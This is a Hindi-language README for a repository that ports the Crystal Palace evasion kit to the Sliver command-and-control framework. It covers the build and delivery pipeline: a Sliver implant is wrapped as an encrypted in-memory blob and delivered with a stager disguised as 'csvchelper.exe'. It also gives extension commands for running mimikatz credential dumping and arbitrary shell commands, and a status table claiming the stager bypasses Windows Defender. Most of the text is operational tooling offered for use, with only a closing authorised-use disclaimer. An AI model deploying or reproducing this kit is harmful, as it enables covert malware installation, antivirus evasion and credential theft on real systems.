Sliver के लिए Crystal Palace एवेज़न किट
Crystal Palace evasion किट Sliver C2 पर पोर्ट की गई।
यह rasta-mouse के Crystal-Kit (Cobalt Strike) का Sliver के लिए पहला सार्वजनिक पोर्ट है। यह Crystal-Kit-Xenon (Mythic) द्वारा सिद्ध उसी cross-C2 पैटर्न का अनुसरण करता है।
Sliver के डिफ़ॉल्ट reflective loader और post-ex निष्पादन पथ को Crystal Palace (Raphael Mudge, BSD) से प्रतिस्थापित करता है। परिणाम एक position-independent code (PICO) blob है जो निम्न को बंडल करता है:
LoadLibrary / GetProcAddress के बिना)VirtualAlloc / VirtualProtect / VirtualFree / पर IAT हुकLoadLibraryASliver implant DLL (या कोई भी post-ex DLL) PICO के अंदर XOR-मास्क होता है और निष्पादन के समय केवल मेमोरी में अनमास्क किया जाता है।
कच्चा Sliver implant DLL लक्ष्य पर सीधे कभी निष्पादित नहीं होता। इसके बजाय इसे Crystal Palace के साथ एक PICO में लपेटा जाता है, AES-256-CBC एन्क्रिप्ट किया जाता है, और एक कस्टम stager (~17 KB) के साथ डिलीवर किया जाता है जो इसे मेमोरी में डिक्रिप्ट व निष्पादित करता है।
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
│
▼ deliver BOTH files to same directory on target
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
एक बार सत्र सक्रिय हो जाने पर, Sliver Extension के माध्यम से Crystal Palace के जरिए संवेदनशील DLL (recon, credential dumpers, आदि) चलाएँ।
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
पुनर्निर्माण (rebuild) के बिना runtime args पास करने के लिए उन्हें | के बाद जोड़ें:
sliver > crystal --payload C:/path/file.pico.bin|args here
crystal-loader.x64.dll एक Sliver DLL Extension है जो PICO blob को डिस्क से VirtualAlloc(RW) क्षेत्र में पढ़ता है, VirtualProtect के साथ इसे RX में बदलता है, और Crystal Palace entrypoint पर जाता है। कभी भी PAGE_EXECUTE_READWRITE मैपिंग नहीं रखी जाती। पथ forward slashes का उपयोग करते हैं। Arg प्रारूप type:string है (BOF binary नहीं)। DLL को Sliver द्वारा मेमोरी में लोड किया जाता है — इसे लक्ष्य डिस्क पर फ़ाइल के रूप में नहीं लिखा जाता।
crystal-exec उसी extension में बंडल किया गया दूसरा कमांड है। यह extension DLL में सीधे एम्बेडेड PICO का उपयोग करके Crystal Palace evasion के माध्यम से मनमाने shell कमांड चलाता है — अपलोड करने के लिए कोई PICO फ़ाइल नहीं।
sliver > crystal-exec --cmd "whoami /all"
आउटपुट पाइप के माध्यम से मौजूदा Sliver सत्र पर ऑपरेटर को लौटाया जाता है। जब आपको पूर्ण post-ex DLL की आवश्यकता नहीं होती, तो यह एकल (one-off) shell कमांड के लिए सबसे तेज़ तरीका है।
crystal-kit-sliver/
├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/ ← Sliver-specific build glue
├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/
├── RUNBOOK.md Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md Build prerequisites and pipeline details
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
पूर्ण ऑपरेटर प्रक्रिया के लिए docs/RUNBOOK.md देखें (Sliver इंस्टॉल, listener सेटअप, लक्ष्य निष्पादन, समस्या निवारण)।
| आइटम | स्थिति | साक्ष्य |
|---|---|---|
| सभी Crystal-Kit स्रोत MinGW 15.2 + NASM 3.01 के तहत संकलित होते हैं | OK | make all क्लीन, प्रति loader 8 .o + 1 .bin |
| Xenon post-ex पैच मौजूद | OK | dfr "ror13", _DLLARGS_ सेक्शन, DLL_PROCESS_ATTACH में dll_arguments पैरामीटर |
| Crystal Palace CLI सत्यापित | OK | ./link <spec> <dll> <out.bin> [%KEY=value] — पोज़िशनल, dist/README में प्रलेखित |
| अंत-से-अंत PICO बिल्ड (उपयोग मामला A) | OK | परीक्षण DLL से 117 KB PICO निर्मित |
| अंत-से-अंत PICO बिल्ड (उपयोग मामला B) | OK | postex-loader/loader.spec के माध्यम से 111 KB PICO निर्मित |
| Sliver Extension wrapper DLL बिल्ड | OK | crystal-loader.x64.dll ~42 KB, crystal-exec.x64.dll ~75 KB — दोनों PE32+ Initialize सिंबल निर्यात करते हैं; कोई RWX नहीं; stripped |
| Extension tarball सही ढंग से पैक होता है | OK | 37 KB tarball को tar -tzf से मान्य किया गया |
| कस्टम stager बिल्ड (दो-फ़ाइल डिलीवरी) | OK | bundle-stager.sh → csvchelper.exe (17 KB, entropy 4.784) + payload.dat (AES-256-CBC) |
| Windows पर runtime निष्पादन (उपयोग मामला A) | OK | Windows 10 x64 FLARE-VM पर Sliver सत्र स्थापित; stager Defender (Wacatac.B!ml + ZomBytes.B) को पार करता है |
| Windows पर runtime निष्पादन (उपयोग मामला B) | OK | crystal --payload C:/path/file.pico.bin — post-ex PICO के माध्यम से नया Sliver सत्र स्थापित; arg प्रारूप type:string के रूप में सत्यापित, forward slash पथ |
crystal-exec कमांड | OK | Shell कमांड आउटपुट पाइप के माध्यम से ऑपरेटर को लौटाया गया; PICO extension DLL में एम्बेडेड, कोई अपलोड आवश्यक नहीं |
| निर्भरता | लाइसेंस | कैसे प्राप्त करें | बंडल किया गया? |
|---|---|---|---|
Crystal Palace (crystalpalace.jar, link, आदि) | BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WG | curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz | नहीं (.gitignore external/ को बाहर करता है) |
libtcg.x64.zip | Upstream बाइनरी, लाइसेंस अघोषित (संभवतः QEMU TCG-व्युत्पन्न) | Upstream Crystal-Kit रिपॉजिटरी से कॉपी किया गया | हाँ, बिल्ड सुविधा के लिए ट्री में रखा गया |
| Sliver C2 | GPLv3 | https://sliver.sh | नहीं — केवल runtime निर्भरता |
| MinGW-w64 + NASM | GPL-संगत | apt install या brew install | नहीं |
यह रिपॉजिटरी crystalpalace.jar का पुनर्वितरण नहीं करती। बिल्ड पाइपलाइन इसे बाहरी रूप से प्राप्त करती है और CRYSTAL_PALACE_HOME पर्यावरण चर के माध्यम से इसका संदर्भ देती है।
सभी upstream कॉपीराइट और लाइसेंसों की पूरी सूची के लिए NOTICE.md देखें। संक्षिप्त सारांश:
dll_args सेक्शन)beacon.h, beacon_compatibility.c/h)docs/PORTING_MAP.md)sliver-glue/ glue स्क्रिप्ट और Extension मैनिफेस्टgenerate-implant.sh + bundle-implant.shcrystal --payload काम करता है, arg प्रारूप type:string पर तय, forward slash पथ)crystal-exec कमांड: Crystal Palace के माध्यम से बिल्ट-इन post-ex shell निष्पादन (कोई अपलोड आवश्यक नहीं)| विभाजक के माध्यम से runtime argsआक्रामक सुरक्षा टूलिंग अधिकृत red team अभियानों, प्रयोगशाला अनुसंधान और शिक्षा के लिए अभिप्रेत है। केवल उन वातावरणों में उपयोग करें जहाँ आपके पास लिखित प्राधिकरण हो। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता।